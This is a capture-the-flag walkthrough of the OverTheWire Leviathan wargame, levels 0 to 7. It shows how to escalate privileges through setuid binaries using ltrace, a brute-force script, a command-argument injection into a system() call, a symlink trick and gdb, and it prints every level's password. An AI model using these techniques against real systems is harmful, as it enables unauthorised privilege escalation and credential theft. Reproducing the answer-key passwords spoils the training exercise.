Level 0 β Level 1 π
Quick find
on the current folder reveals hidden folder backup
$ find .
.
./.bash_logout
./.backup
./.backup/bookmarks.html
./.profile
./.bashrc
Within it, there is a file bookmarks.html
containing bookmarks in the old Netscape file format.
Let’s do a quick grep on that file
$ grep -i Password .backup/bookmarks.html --color=auto
<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will
be fixed later, the password for leviathan1 is rioGegei8m" ADD_DATE="1155384634"
LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>
Answer: rioGegei8m
Level 1 β Level 2 π
In the current folder, there is a binary file check
$ ls -l
total 8
-r-sr-x--- 1 leviathan2 leviathan1 7452 Aug 26 2019 check
Notice, it has a setuid flag set. This means it is executing with the permissions of the owner of that file. In this case, it is leviathan2. This is dangerous. If we can somehow cause this program to misbehave, we can use it to print out the password in the /etc/leviathan_pass
directory.
Running the program:
$ ./check
password: abc
Wrong password, Good Bye ...
Let’s do a quick static analysis of the binary
$ file ./check
./check: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=c735f6f3a3a94adcad8407cc0fda40496fd765dd, not stripped
It is a 32-bit dynamically linked program.
$ objdump -T ./check
check: file format elf32-i386
DYNAMIC SYMBOL TABLE:
00000000 DF *UND* 00000000 GLIBC_2.0 strcmp
00000000 DF *UND* 00000000 GLIBC_2.0 printf
00000000 DF *UND* 00000000 GLIBC_2.0 getchar
00000000 DF *UND* 00000000 GLIBC_2.0 geteuid
00000000 DF *UND* 00000000 GLIBC_2.0 puts
00000000 DF *UND* 00000000 GLIBC_2.0 system
00000000 w D *UND* 00000000 __gmon_start__
00000000 DF *UND* 00000000 GLIBC_2.0 setreuid
00000000 DF *UND* 00000000 GLIBC_2.0 __libc_start_main
0804868c g DO .rodata 00000004 Base _IO_stdin_used
These are all the functions there are called from within the program. We see a getchar
function, which processes our input byte by byte. Then there is strcmp
function, which is directly responsible for comparing our password with the correct password. Finally, system
executes a system command, given as a first argument.
$ strings ./check | less
...
password:
/bin/sh
Wrong password, Good Bye ...
...
The presence of the string /bin/sh
indicates probable spawning of a shell (using the system
function) once given the correct password.
To get the actual password, we can use the linux utility ltrace
. Since the app uses shared libraries, we will use ltrace
to dynamically intercept all library calls made by the app, and print out their arguments and return values.
$ echo 'abc' | ltrace ./check
__libc_start_main(0x804853b, 1, 0xffffd734, 0x8048610 <unfinished ...>
printf("password: ") = 10
getchar(1, 0, 0x65766f6c, 0x646f6700) = 97
getchar(1, 0, 0x65766f6c, 0x646f6700) = 98
getchar(1, 0, 0x65766f6c, 0x646f6700) = 99
strcmp("abc", "sex") = -1
puts("Wrong password, Good Bye ..."password: Wrong password, Good Bye ...
) = 29
+++ exited (status 0) +++
The password is clearly visible as the second argument to the strcmp
function.
leviathan1@leviathan:~$ ./check
password: sex
$ whoami
leviathan2
$ cat /etc/leviathan_pass/leviathan2
ougahZi8Ta
Alternatively, since the password is composed of only 3 characters, we can brute-force it in a reasonable time frame.
#!/bin/bash
for pass in {a..z}{a..z}{a..z}
do
echo -n -e "Trying out password: ${pass}\r"
out=`echo $pass | $HOME/check`
if [[ $out != *"Wrong"* ]];
then
echo -e "\nFound password: '$pass'"
break;
fi
sleep 0.01
done
Total search time: under 3 minutes
Answer: ougahZi8Ta
Level 2 β Level 3 π
$ ls -l
-r-sr-x--- 1 leviathan3 leviathan2 7436 Aug 26 2019 printfile
Again, we have a binary with a setuid flag set.
$ ./printfile
*** File Printer ***
Usage: ./printfile filename
$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...
Fair enough. It looks like there is some kind of permission check in place.
Let’s dig deeper and perform some library tracing. We’ll use the file /etc/hostname
as our argument, since we have read access to that file.
$ ltrace ./printfile /etc/hostname
__libc_start_main(0x804852b, 2, 0xffffd704, 0x8048610 <unfinished ...>
access("/etc/hostname", 4) = 0
snprintf("/bin/cat /etc/hostname", 511, "/bin/cat %s", "/etc/hostname") = 22
geteuid() = 12002
geteuid() = 12002
setreuid(12002, 12002) = 0
system("/bin/cat /etc/hostname"leviathan <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
There are several things going on here. First, we see a call to access()
function. This function simply recieves our input string, and checks if we have required permissions to read that file.
If so, it then calls snprintf()
to construct a command to be executed later with a call to system()
.
The executed command is really just /bin/cat
followed by any input we provide. This part is vulnerable to code injection.
The idea is to first get past the access()
function, while at the same time forcing /bin/cat
to print out the password. This can be done by carefully crafting the input string.
Prepare working directory:
$ mktemp -d
/tmp/tmp.FR2DP3gS0e
Create the payload:
$ touch '/tmp/tmp.FR2DP3gS0e/a leviathan3'
Switch to directory where the password is located
$ cd /etc/leviathan_pass
And finally, call the printfile
with our newly created payload
/etc/leviathan_pass$ ~/printfile '/tmp/tmp.FR2DP3gS0e/a leviathan3'
/bin/cat: /tmp/tmp.FR2DP3gS0e/a: Permission denied
Ahdiemoo1j
Pwned!
Let’s break things up
By providing a string ‘/tmp/tmp.FR2DP3gS0e/a leviathan3’, we are effectively getting through the access
function, since such file really does exist, and we have permission to read it.
Next, the snprintf
constructs a command to be executed, which results in the command ‘/bin/cat /tmp/tmp.FR2DP3gS0e/a leviathan3’ (two files to be printed!)
Then, a system
call will execute this command. Cat obviously fails on the first file, but will successfully print the second one. The reason is because system
is being called from the current directory, the file leviathan3 exist there, and we have right permissions (due to setuid)
Answer: Ahdiemoo1j
Level 3 β Level 4 π
Running level3
program
$ ./level3
Enter the password> aaa
bzzzzzzzzap. WRONG
Running it again through ltrace
$ ltrace ./level3
__libc_start_main(0x8048618, 1, 0xffffd744, 0x80486d0 <unfinished ...>
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> aaa
"aaa\n", 256, 0xf7fc55a0) = 0xffffd550
strcmp("aaa\n", "snlprintf\n") = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++
Same as before, we use the elevated shell to print the password
$ ./level3
Enter the password> snlprintf
[You've got shell]!
$ cat /etc/leviathan_pass/leviathan4
vuH0coox6m
Answer: vuH0coox6m
Level 4 β Level 5 π
Using find
, we find a hidden binary .trash/bin
When run, it spits out a sequence of numbers encoded in binary
$ ./.trash/bin
01010100 01101001 01110100 01101000 00110100
01100011 01101111 01101011 01100101 01101001 00001010
We need to convert each number to their ASCII representation. This can easily be achieved in python with this one-liner.
$ ./.trash/bin | python3 -c 'for x in input().split(): print(chr(int(x, 2)), end="")
Tith4cokei
Answer: Tith4cokei
Level 5 β Level 6 π
$ ./leviathan5
Cannot find /tmp/file.log
Let’s create a dummy file, and run it again
$ echo hi > /tmp/file.log
$ ./leviathan5
hi
It’s printing out the contents back. One more time with ltrace
$ echo hi > /tmp/file.log
$ ltrace ./leviathan5
__libc_start_main(0x80485db, 1, 0xffffd734, 0x80486a0 <unfinished ...>
fopen("/tmp/file.log", "r") = 0x804b008
fgetc(0x804b008) = 'h'
feof(0x804b008) = 0
putchar(104, 0x8048720, 0xf7e40890, 0x80486eb) = 104
fgetc(0x804b008) = 'i'
feof(0x804b008) = 0
putchar(105, 0x8048720, 0xf7e40890, 0x80486eb) = 105
fgetc(0x804b008) = '\n'
feof(0x804b008) = 0
putchar(10, 0x8048720, 0xf7e40890, 0x80486ebhi
) = 10
fgetc(0x804b008) = '\377'
feof(0x804b008) = 1
fclose(0x804b008) = 0
getuid() = 12005
setuid(12005) = 0
unlink("/tmp/file.log") = 0
+++ exited (status 0) +++
Now it’s clear what it does. It opens the file and reads it char by char and prints each character. Finally, the file is deleted with the unlink
function.
To get the password for this level, we can make a symlink pointing to the password file. The program will happily follow the symlink, and print out the contents of it.
$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
$ ls -l /tmp/file.log
lrwxrwxrwx 1 leviathan5 root 30 Jun 26 18:53 /tmp/file.log -> /etc/leviathan_pass/leviathan6
$ ./leviathan5
UgaoFee4li
Answer: UgaoFee4li
Level 6 β Level 7 π
$ ./leviathan6
usage: ./leviathan6 <4 digit code>
Again with ltrace
and a some 4 digit number
$ ltrace ./leviathan6 1337
__libc_start_main(0x804853b, 2, 0xffffd734, 0x80485e0 <unfinished ...>
atoi(0xffffd866, 0, 0xf7e40890, 0x804862b) = 1337
puts("Wrong"Wrong
) = 6
+++ exited (status 0) +++```
The input string gets convert to number with the atoi
function. This number is then compared with the right password (number). However, we can’t see this using ltrace
, as comparison is done purely between two numbers. There is no library call involved here.
Rather than brute-forcing the password, a better approach would be to load the binary in gdb
, set a breakpoint to main
, and step through the assembly code until we get to the actual comparison of two integers.
Then it is just a matter of displaying the memory contents of the integer we are interested in.
We need to:
- Fire up gdb including program arguments
- Set breakpoint to main function
- Enable registers and assembly code view
- Run the code
$ gdb --args ./leviathan6 1337
(gdb) b main
Breakpoint 1 at 0x804854a
(gdb) layout reg
(gdb) r
Starting program: /home/leviathan6/leviathan6 1337
Breakpoint 1, 0x0804854a in main ()
(gdb)
Next, we will repeatedly step through the code with the ni
command, until we get to the cmp
instruction. This is the instruction that does the actual comparison.
The instruction cmp
takes two operands. The first is the memory address where the actual password is stored. The second operand is our input number, which is stored in the EAX
register (as seen on the top left).
At this point, all wee need to do, is peek inside the first operand’s address to get the password.
Before printing the number, the address first needs to be casted to integer pointer and then dereferenced (same as with C pointers)
(gdb) p *(int *)($ebp-0xc)
$4 = 7123
Now let’s git that shell
leviathan6@leviathan:~$ ./leviathan6 7123
$ cat /etc/leviathan_pass/leviathan7
ahy7MaeBo9
Answer: ahy7MaeBo9